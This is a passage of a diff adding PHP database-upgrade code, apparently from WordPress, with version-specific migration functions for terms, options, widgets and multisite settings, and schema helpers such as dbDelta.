+	foreach ( $posts as $post ) {
+		$post_id = (int) $post->post_id;
+		$term_id = (int) $post->category_id;
+		$taxonomy = 'category';
+		if ( !empty($post->rel_type) && 'tag' == $post->rel_type)
+			$taxonomy = 'tag';
+		$tt_id = $tt_ids[$term_id][$taxonomy];
+		if ( empty($tt_id) )
+			continue;
+
+		$wpdb->insert( $wpdb->term_relationships, array('object_id' => $post_id, 'term_taxonomy_id' => $tt_id) );
+	}
+
+	// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
+	if ( $wp_current_db_version < 3570 ) {
+		/*
+		 * Create link_category terms for link categories. Create a map of link
+		 * cat IDs to link_category terms.
+		 */
+		$link_cat_id_map = array();
+		$default_link_cat = 0;
+		$tt_ids = array();
+		$link_cats = $wpdb->get_results("SELECT cat_id, cat_name FROM " . $wpdb->prefix . 'linkcategories');
+		foreach ( $link_cats as $category) {
+			$cat_id = (int) $category->cat_id;
+			$term_id = 0;
+			$name = wp_slash($category->cat_name);
+			$slug = sanitize_title($name);
+			$term_group = 0;
+
+			// Associate terms with the same slug in a term group and make slugs unique.
+			if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+				$term_group = $exists[0]->term_group;
+				$term_id = $exists[0]->term_id;
+			}
+
+			if ( empty($term_id) ) {
+				$wpdb->insert( $wpdb->terms, compact('name', 'slug', 'term_group') );
+				$term_id = (int) $wpdb->insert_id;
+			}
+
+			$link_cat_id_map[$cat_id] = $term_id;
+			$default_link_cat = $term_id;
+
+			$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $term_id, 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 0) );
+			$tt_ids[$term_id] = (int) $wpdb->insert_id;
+		}
+
+		// Associate links to cats.
+		$links = $wpdb->get_results("SELECT link_id, link_category FROM $wpdb->links");
+		if ( !empty($links) ) foreach ( $links as $link ) {
+			if ( 0 == $link->link_category )
+				continue;
+			if ( ! isset($link_cat_id_map[$link->link_category]) )
+				continue;
+			$term_id = $link_cat_id_map[$link->link_category];
+			$tt_id = $tt_ids[$term_id];
+			if ( empty($tt_id) )
+				continue;
+
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link->link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+
+		// Set default to the last category we grabbed during the upgrade loop.
+		update_option('default_link_category', $default_link_cat);
+	} else {
+		$links = $wpdb->get_results("SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id");
+		foreach ( $links as $link ) {
+			$link_id = (int) $link->link_id;
+			$term_id = (int) $link->category_id;
+			$taxonomy = 'link_category';
+			$tt_id = $tt_ids[$term_id][$taxonomy];
+			if ( empty($tt_id) )
+				continue;
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+	}
+
+	if ( $wp_current_db_version < 4772 ) {
+		// Obsolete linkcategories table
+		$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories');
+	}
+
+	// Recalculate all counts
+	$terms = $wpdb->get_results("SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy");
+	foreach ( (array) $terms as $term ) {
+		if ( ('post_tag' == $term->taxonomy) || ('category' == $term->taxonomy) )
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		else
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('count' => $count), array('term_taxonomy_id' => $term->term_taxonomy_id) );
+	}
+}
+
+/**
+ * Remove old options from the database.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230_options_table() {
+	global $wpdb;
+	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_options_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->options DROP $old");
+	$wpdb->show_errors();
+}
+
+/**
+ * Remove old categories, link2cat, and post2cat database tables.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230_old_tables() {
+	global $wpdb;
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat');
+}
+
+/**
+ * Upgrade old slugs made in version 2.2.
+ *
+ * @since 2.2.0
+ */
+function upgrade_old_slugs() {
+	// Upgrade people who were using the Redirect Old Slugs plugin.
+	global $wpdb;
+	$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'");
+}
+
+/**
+ * Execute changes made in WordPress 2.5.0.
+ *
+ * @since 2.5.0
+ */
+function upgrade_250() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 6689 ) {
+		populate_roles_250();
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 2.5.2.
+ *
+ * @since 2.5.2
+ */
+function upgrade_252() {
+	global $wpdb;
+
+	$wpdb->query("UPDATE $wpdb->users SET user_activation_key = ''");
+}
+
+/**
+ * Execute changes made in WordPress 2.6.
+ *
+ * @since 2.6.0
+ */
+function upgrade_260() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8000 )
+		populate_roles_260();
+}
+
+/**
+ * Execute changes made in WordPress 2.7.
+ *
+ * @since 2.7.0
+ */
+function upgrade_270() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8980 )
+		populate_roles_270();
+
+	// Update post_date for unpublished posts with empty timestamp
+	if ( $wp_current_db_version < 8921 )
+		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
+}
+
+/**
+ * Execute changes made in WordPress 2.8.
+ *
+ * @since 2.8.0
+ */
+function upgrade_280() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 10360 )
+		populate_roles_280();
+	if ( is_multisite() ) {
+		$start = 0;
+		while( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
+			foreach( $rows as $row ) {
+				$value = $row->option_value;
+				if ( !@unserialize( $value ) )
+					$value = stripslashes( $value );
+				if ( $value !== $row->option_value ) {
+					update_option( $row->option_name, $value );
+				}
+			}
+			$start += 20;
+		}
+		refresh_blog_details( $wpdb->blogid );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.9.
+ *
+ * @since 2.9.0
+ */
+function upgrade_290() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 11958 ) {
+		// Previously, setting depth to 1 would redundantly disable threading, but now 2 is the minimum depth to avoid confusion
+		if ( get_option( 'thread_comments_depth' ) == '1' ) {
+			update_option( 'thread_comments_depth', 2 );
+			update_option( 'thread_comments', 0 );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.0.
+ *
+ * @since 3.0.0
+ */
+function upgrade_300() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 15093 )
+		populate_roles_300();
+
+	if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false )
+		add_site_option( 'siteurl', '' );
+
+	// 3.0 screen options key name changes.
+	if ( is_main_site() && !defined('DO_NOT_UPGRADE_GLOBAL_TABLES') ) {
+		$sql = "DELETE FROM $wpdb->usermeta
+			WHERE meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key = 'manageedittagscolumnshidden'
+			OR meta_key = 'managecategoriescolumnshidden'
+			OR meta_key = 'manageedit-tagscolumnshidden'
+			OR meta_key = 'manageeditcolumnshidden'
+			OR meta_key = 'categories_per_page'
+			OR meta_key = 'edit_tags_per_page'";
+		$prefix = $wpdb->esc_like( $wpdb->base_prefix );
+		$wpdb->query( $wpdb->prepare( $sql,
+			$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'manage-'	   ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'meta-box-order'  ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'metaboxorder'    ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'screen_layout'   ) . '%'
+		) );
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 3.3.
+ *
+ * @since 3.3.0
+ */
+function upgrade_330() {
+	global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;
+
+	if ( $wp_current_db_version < 19061 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
+		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
+	}
+
+	if ( $wp_current_db_version >= 11548 )
+		return;
+
+	$sidebars_widgets = get_option( 'sidebars_widgets', array() );
+	$_sidebars_widgets = array();
+
+	if ( isset($sidebars_widgets['wp_inactive_widgets']) || empty($sidebars_widgets) )
+		$sidebars_widgets['array_version'] = 3;
+	elseif ( !isset($sidebars_widgets['array_version']) )
+		$sidebars_widgets['array_version'] = 1;
+
+	switch ( $sidebars_widgets['array_version'] ) {
+		case 1 :
+			foreach ( (array) $sidebars_widgets as $index => $sidebar )
+			if ( is_array($sidebar) )
+			foreach ( (array) $sidebar as $i => $name ) {
+				$id = strtolower($name);
+				if ( isset($wp_registered_widgets[$id]) ) {
+					$_sidebars_widgets[$index][$i] = $id;
+					continue;
+				}
+				$id = sanitize_title($name);
+				if ( isset($wp_registered_widgets[$id]) ) {
+					$_sidebars_widgets[$index][$i] = $id;
+					continue;
+				}
+
+				$found = false;
+
+				foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+					if ( strtolower($widget['name']) == strtolower($name) ) {
+						$_sidebars_widgets[$index][$i] = $widget['id'];
+						$found = true;
+						break;
+					} elseif ( sanitize_title($widget['name']) == sanitize_title($name) ) {
+						$_sidebars_widgets[$index][$i] = $widget['id'];
+						$found = true;
+						break;
+					}
+				}
+
+				if ( $found )
+					continue;
+
+				unset($_sidebars_widgets[$index][$i]);
+			}
+			$_sidebars_widgets['array_version'] = 2;
+			$sidebars_widgets = $_sidebars_widgets;
+			unset($_sidebars_widgets);
+
+		case 2 :
+			$sidebars_widgets = retrieve_widgets();
+			$sidebars_widgets['array_version'] = 3;
+			update_option( 'sidebars_widgets', $sidebars_widgets );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.4.
+ *
+ * @since 3.4.0
+ */
+function upgrade_340() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 19798 ) {
+		$wpdb->hide_errors();
+		$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
+		$wpdb->show_errors();
+	}
+
+	if ( $wp_current_db_version < 19799 ) {
+		$wpdb->hide_errors();
+		$wpdb->query("ALTER TABLE $wpdb->comments DROP INDEX comment_approved");
+		$wpdb->show_errors();
+	}
+
+	if ( $wp_current_db_version < 20022 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
+		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
+	}
+
+	if ( $wp_current_db_version < 20080 ) {
+		if ( 'yes' == $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
+			$uninstall_plugins = get_option( 'uninstall_plugins' );
+			delete_option( 'uninstall_plugins' );
+			add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.5.
+ *
+ * @since 3.5.0
+ */
+function upgrade_350() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) )
+		update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options()
+
+	if ( $wp_current_db_version < 21811 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
+		$meta_keys = array();
+		foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
+			if ( false !== strpos( $name, '-' ) )
+			$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
+		}
+		if ( $meta_keys ) {
+			$meta_keys = implode( "', '", $meta_keys );
+			$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
+		}
+	}
+
+	if ( $wp_current_db_version < 22422 && $term = get_term_by( 'slug', 'post-format-standard', 'post_format' ) )
+		wp_delete_term( $term->term_id, 'post_format' );
+}
+
+/**
+ * Execute changes made in WordPress 3.7.
+ *
+ * @since 3.7.0
+ */
+function upgrade_370() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 25824 )
+		wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
+}
+
+/**
+ * Execute changes made in WordPress 3.7.2.
+ *
+ * @since 3.7.2
+ * @since 3.8.0
+ */
+function upgrade_372() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 26148 )
+		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
+}
+
+/**
+ * Execute changes made in WordPress 3.8.0.
+ *
+ * @since 3.8.0
+ */
+function upgrade_380() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 26691 ) {
+		deactivate_plugins( array( 'mp6/mp6.php' ), true );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 4.0.0.
+ *
+ * @since 4.0.0
+ */
+function upgrade_400() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 29630 ) {
+		if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
+			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages() ) ) {
+				update_option( 'WPLANG', WPLANG );
+			} else {
+				update_option( 'WPLANG', '' );
+			}
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 4.1.4.
+ *
+ * @since 4.1.4
+ */
+function upgrade_414() {
+}
+
+/**
+ * Execute changes made in WordPress 4.1.5.
+ *
+ * @since 4.1.5
+ */
+function upgrade_415() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 30135 ) {
+		$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );
+
+		if ( is_wp_error( $content_length ) ) {
+			return;
+		}
+
+		if ( false === $content_length ) {
+			$content_length = array(
+				'type'   => 'byte',
+				'length' => 65535,
+			);
+		} elseif ( ! is_array( $content_length ) ) {
+			$length = (int) $content_length > 0 ? (int) $content_length : 65535;
+			$content_length = array(
+				'type'	 => 'byte',
+				'length' => $length
+			);
+		}
+
+		if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
+			// Sites with malformed DB schemas are on their own.
+			return;
+		}
+
+		$allowed_length = intval( $content_length['length'] ) - 10;
+
+		$comments = $wpdb->get_results(
+			"SELECT `comment_ID` FROM `{$wpdb->comments}`
+				WHERE `comment_date_gmt` > '2015-04-26'
+				AND LENGTH( `comment_content` ) >= {$allowed_length}
+				AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
+		);
+
+		foreach ( $comments as $comment ) {
+			wp_delete_comment( $comment->comment_ID, true );
+		}
+	}
+}
+
+/**
+ * Execute network level changes
+ *
+ * @since 3.0.0
+ */
+function upgrade_network() {
+	global $wp_current_db_version, $wpdb;
+
+	// Always.
+	if ( is_main_network() ) {
+		/*
+		 * Deletes all expired transients. The multi-table delete syntax is used
+		 * to delete the transient record from table a, and the corresponding
+		 * transient_timeout record from table b.
+		 */
+		$time = time();
+		$sql = "DELETE a, b FROM $wpdb->sitemeta a, $wpdb->sitemeta b
+			WHERE a.meta_key LIKE %s
+			AND a.meta_key NOT LIKE %s
+			AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
+			AND b.meta_value < %d";
+		$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like ( '_site_transient_timeout_' ) . '%', $time ) );
+	}
+
+	// 2.8.
+	if ( $wp_current_db_version < 11549 ) {
+		$wpmu_sitewide_plugins = get_site_option( 'wpmu_sitewide_plugins' );
+		$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
+		if ( $wpmu_sitewide_plugins ) {
+			if ( !$active_sitewide_plugins )
+				$sitewide_plugins = (array) $wpmu_sitewide_plugins;
+			else
+				$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
+
+			update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
+		}
+		delete_site_option( 'wpmu_sitewide_plugins' );
+		delete_site_option( 'deactivated_sitewide_plugins' );
+
+		$start = 0;
+		while( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
+			foreach( $rows as $row ) {
+				$value = $row->meta_value;
+				if ( !@unserialize( $value ) )
+					$value = stripslashes( $value );
+				if ( $value !== $row->meta_value ) {
+					update_site_option( $row->meta_key, $value );
+				}
+			}
+			$start += 20;
+		}
+	}
+
+	// 3.0
+	if ( $wp_current_db_version < 13576 )
+		update_site_option( 'global_terms_enabled', '1' );
+
+	// 3.3
+	if ( $wp_current_db_version < 19390 )
+		update_site_option( 'initial_db_version', $wp_current_db_version );
+
+	if ( $wp_current_db_version < 19470 ) {
+		if ( false === get_site_option( 'active_sitewide_plugins' ) )
+			update_site_option( 'active_sitewide_plugins', array() );
+	}
+
+	// 3.4
+	if ( $wp_current_db_version < 20148 ) {
+		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
+		$allowedthemes  = get_site_option( 'allowedthemes'  );
+		$allowed_themes = get_site_option( 'allowed_themes' );
+		if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
+			$converted = array();
+			$themes = wp_get_themes();
+			foreach ( $themes as $stylesheet => $theme_data ) {
+				if ( isset( $allowed_themes[ $theme_data->get('Name') ] ) )
+					$converted[ $stylesheet ] = true;
+			}
+			update_site_option( 'allowedthemes', $converted );
+			delete_site_option( 'allowed_themes' );
+		}
+	}
+
+	// 3.5
+	if ( $wp_current_db_version < 21823 )
+		update_site_option( 'ms_files_rewriting', '1' );
+
+	// 3.5.2
+	if ( $wp_current_db_version < 24448 ) {
+		$illegal_names = get_site_option( 'illegal_names' );
+		if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
+			$illegal_name = reset( $illegal_names );
+			$illegal_names = explode( ' ', $illegal_name );
+			update_site_option( 'illegal_names', $illegal_names );
+		}
+	}
+}
+
+// The functions we use to actually do stuff
+
+// General
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.0.0
+ *
+ * @param string $table_name Database table name to create.
+ * @param string $create_ddl SQL statement to create table.
+ * @return bool If table already exists or was created by function.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $table_name ) );
+
+	if ( $wpdb->get_var( $query ) == $table_name ) {
+		return true;
+	}
+
+	// Didn't find it try to create it..
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	if ( $wpdb->get_var( $query ) == $table_name ) {
+		return true;
+	}
+	return false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.0.1
+ *
+ * @param string $table Database table name.
+ * @param string $index Index name to drop.
+ * @return bool True, when finished.
+ */
+function drop_index($table, $index) {
+	global $wpdb;
+	$wpdb->hide_errors();
+	$wpdb->query("ALTER TABLE `$table` DROP INDEX `$index`");
+	// Now we need to take out all the extra ones we may have created
+	for ($i = 0; $i < 25; $i++) {
+		$wpdb->query("ALTER TABLE `$table` DROP INDEX `{$index}_$i`");
+	}
+	$wpdb->show_errors();
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.0.1
+ *
+ * @param string $table Database table name.
+ * @param string $index Database table index column.
+ * @return bool True, when done with execution.
+ */
+function add_clean_index($table, $index) {
+	global $wpdb;
+	drop_index($table, $index);
+	$wpdb->query("ALTER TABLE `$table` ADD INDEX ( `$index` )");
+	return true;
+}
+
+/**
+ ** maybe_add_column()
+ ** Add column to db table if it doesn't exist.
+ ** Returns:  true if already exists or on successful completion
+ **           false on error
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+
+	// Didn't find it try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Retrieve all options as it was for 1.2.
+ *
+ * @since 1.2.0
+ *
+ * @return stdClass List of options.
+ */
+function get_alloptions_110() {
+	global $wpdb;
+	$all_options = new stdClass;
+	if ( $options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ) ) {
+		foreach ( $options as $option ) {
+			if ( 'siteurl' == $option->option_name || 'home' == $option->option_name || 'category_base' == $option->option_name )
+				$option->option_value = untrailingslashit( $option->option_value );
+			$all_options->{$option->option_name} = stripslashes( $option->option_value );
+		}
+	}
+	return $all_options;
+}
+
+/**
+ * Version of get_option that is private to install/upgrade.
+ *
+ * @since 1.5.1
+ * @access private
+ *
+ * @param string $setting Option name.
+ * @return mixed
+ */
+function __get_option($setting) {
+	global $wpdb;
+
+	if ( $setting == 'home' && defined( 'WP_HOME' ) )
+		return untrailingslashit( WP_HOME );
+
+	if ( $setting == 'siteurl' && defined( 'WP_SITEURL' ) )
+		return untrailingslashit( WP_SITEURL );
+
+	$option = $wpdb->get_var( $wpdb->prepare("SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );
+
+	if ( 'home' == $setting && '' == $option )
+		return __get_option( 'siteurl' );
+
+	if ( 'siteurl' == $setting || 'home' == $setting || 'category_base' == $setting || 'tag_base' == $setting )
+		$option = untrailingslashit( $option );
+
+	return maybe_unserialize( $option );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $content
+ * @return string
+ */
+function deslash($content) {
+	// Note: \\\ inside a regex denotes a single backslash.
+
+	/*
+	 * Replace one or more backslashes followed by a single quote with
+	 * a single quote.
+	 */
+	$content = preg_replace("/\\\+'/", "'", $content);
+
+	/*
+	 * Replace one or more backslashes followed by a double quote with
+	 * a double quote.
+	 */
+	$content = preg_replace('/\\\+"/', '"', $content);
+
+	// Replace one or more backslashes with one backslash.
+	$content = preg_replace("/\\\+/", "\\", $content);
+
+	return $content;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $queries
+ * @param bool   $execute
+ * @return array
+ */
+function dbDelta( $queries = '', $execute = true ) {
+	global $wpdb;
+
+	if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) )
+	    $queries = wp_get_db_schema( $queries );
+
+	// Separate individual queries into an array
+	if ( !is_array($queries) ) {
+		$queries = explode( ';', $queries );
+		$queries = array_filter( $queries );
+	}
+
+	/**
+	 * Filter the dbDelta SQL queries.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $queries An array of dbDelta SQL queries.
+	 */
+	$queries = apply_filters( 'dbdelta_queries', $queries );
+
+	$cqueries = array(); // Creation Queries
+	$iqueries = array(); // Insertion Queries
+	$for_update = array();
+
+	// Create a tablename index for an array ($cqueries) of queries
+	foreach($queries as $qry) {
+		if (preg_match("|CREATE TABLE ([^ ]*)|", $qry, $matches)) {
+			$cqueries[ trim( $matches[1], '`' ) ] = $qry;
+			$for_update[$matches[1]] = 'Created table '.$matches[1];
+		} else if (preg_match("|CREATE DATABASE ([^ ]*)|", $qry, $matches)) {
+			array_unshift($cqueries, $qry);
+		} else if (preg_match("|INSERT INTO ([^ ]*)|", $qry, $matches)) {
+			$iqueries[] = $qry;
+		} else if (preg_match("|UPDATE ([^ ]*)|", $qry, $matches)) {
+			$iqueries[] = $qry;
+		} else {
+			// Unrecognized query type
+		}
+	}
+
+	/**
+	 * Filter the dbDelta SQL queries for creating tables and/or databases.
+	 *
+	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $cqueries An array of dbDelta create SQL queries.
+	 */
+	$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );
+
+	/**
+	 * Filter the dbDelta SQL queries for inserting or updating.
+	 *
+	 * Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $iqueries An array of dbDelta insert or update SQL queries.
+	 */
+	$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );
+
+	$global_tables = $wpdb->tables( 'global' );
+	foreach ( $cqueries as $table => $qry ) {
+		// Upgrade global tables only for the main site. Don't upgrade at all if DO_NOT_UPGRADE_GLOBAL_TABLES is defined.
+		if ( in_array( $table, $global_tables ) && ( !is_main_site() || defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) ) {
+			unset( $cqueries[ $table ], $for_update[ $table ] );
+			continue;
+		}
+
+		// Fetch the table column structure from the database
+		$suppress = $wpdb->suppress_errors();
+		$tablefields = $wpdb->get_results("DESCRIBE {$table};");
+		$wpdb->suppress_errors( $suppress );
+
+		if ( ! $tablefields )
+			continue;
+
+		// Clear the field and index arrays.
+		$cfields = $indices = array();
+
+		// Get all of the field names in the query from between the parentheses.
+		preg_match("|\((.*)\)|ms", $qry, $match2);
+		$qryline = trim($match2[1]);
+
+		// Separate field lines into an array.
+		$flds = explode("\n", $qryline);
+
+		// todo: Remove this?
+		//echo "<hr/><pre>\n".print_r(strtolower($table), true).":\n".print_r($cqueries, true)."</pre><hr/>";
+
+		// For every field line specified in the query.
+		foreach ($flds as $fld) {
+
+			// Extract the field name.
+			preg_match("|^([^ ]*)|", trim($fld), $fvals);
+			$fieldname = trim( $fvals[1], '`' );
+
+			// Verify the found field name.
+			$validfield = true;
+			switch (strtolower($fieldname)) {
+			case '':
+			case 'primary':
+			case 'index':
+			case 'fulltext':
+			case 'unique':
+			case 'key':
+				$validfield = false;
+				$indices[] = trim(trim($fld), ", \n");
+				break;
+			}
+			$fld = trim($fld);
+
+			// If it's a valid field, add it to the field array.
+			if ($validfield) {
+				$cfields[strtolower($fieldname)] = trim($fld, ", \n");
+			}
+		}
+
+		// For every field in the table.
+		foreach ($tablefields as $tablefield) {
+
+			// If the table field exists in the field array ...
+			if (array_key_exists(strtolower($tablefield->Field), $cfields)) {
+
+				// Get the field type from the query.
+				preg_match("|".$tablefield->Field." ([^ ]*( unsigned)?)|i", $cfields[strtolower($tablefield->Field)], $matches);
+				$fieldtype = $matches[1];
+
+				// Is actual field type different from the field type in query?
+				if ($tablefield->Type != $fieldtype) {
+					// Add a query to change the column type
+					$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN {$tablefield->Field} " . $cfields[strtolower($tablefield->Field)];
+					$for_update[$table.'.'.$tablefield->Field] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
+				}
+
+				// Get the default value from the array
+					// todo: Remove this?
+					//echo "{$cfields[strtolower($tablefield->Field)]}<br>";
+				if (preg_match("| DEFAULT '(.*?)'|i", $cfields[strtolower($tablefield->Field)], $matches)) {
+					$default_value = $matches[1];
+					if ($tablefield->Default != $default_value) {
+						// Add a query to change the column's default value
+						$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN {$tablefield->Field} SET DEFAULT '{$default_value}'";
+						$for_update[$table.'.'.$tablefield->Field] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
+					}
+				}
+
+				// Remove the field from the array (so it's not added).
+				unset($cfields[strtolower($tablefield->Field)]);
+			} else {
+				// This field exists in the table, but not in the creation queries?
+			}
+		}
+
+		// For every remaining field specified for the table.
+		foreach ($cfields as $fieldname => $fielddef) {
+			// Push a query line into $cqueries that adds the field to that table.
+			$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";
+			$for_update[$table.'.'.$fieldname] = 'Added column '.$table.'.'.$fieldname;
+		}
+
+		// Index stuff goes here. Fetch the table index structure from the database.
+		$tableindices = $wpdb->get_results("SHOW INDEX FROM {$table};");
+
+		if ($tableindices) {
+			// Clear the index array.
+			unset($index_ary);
+
+			// For every index in the table.
+			foreach ($tableindices as $tableindex) {
+
+				// Add the index to the index data array.
+				$keyname = $tableindex->Key_name;
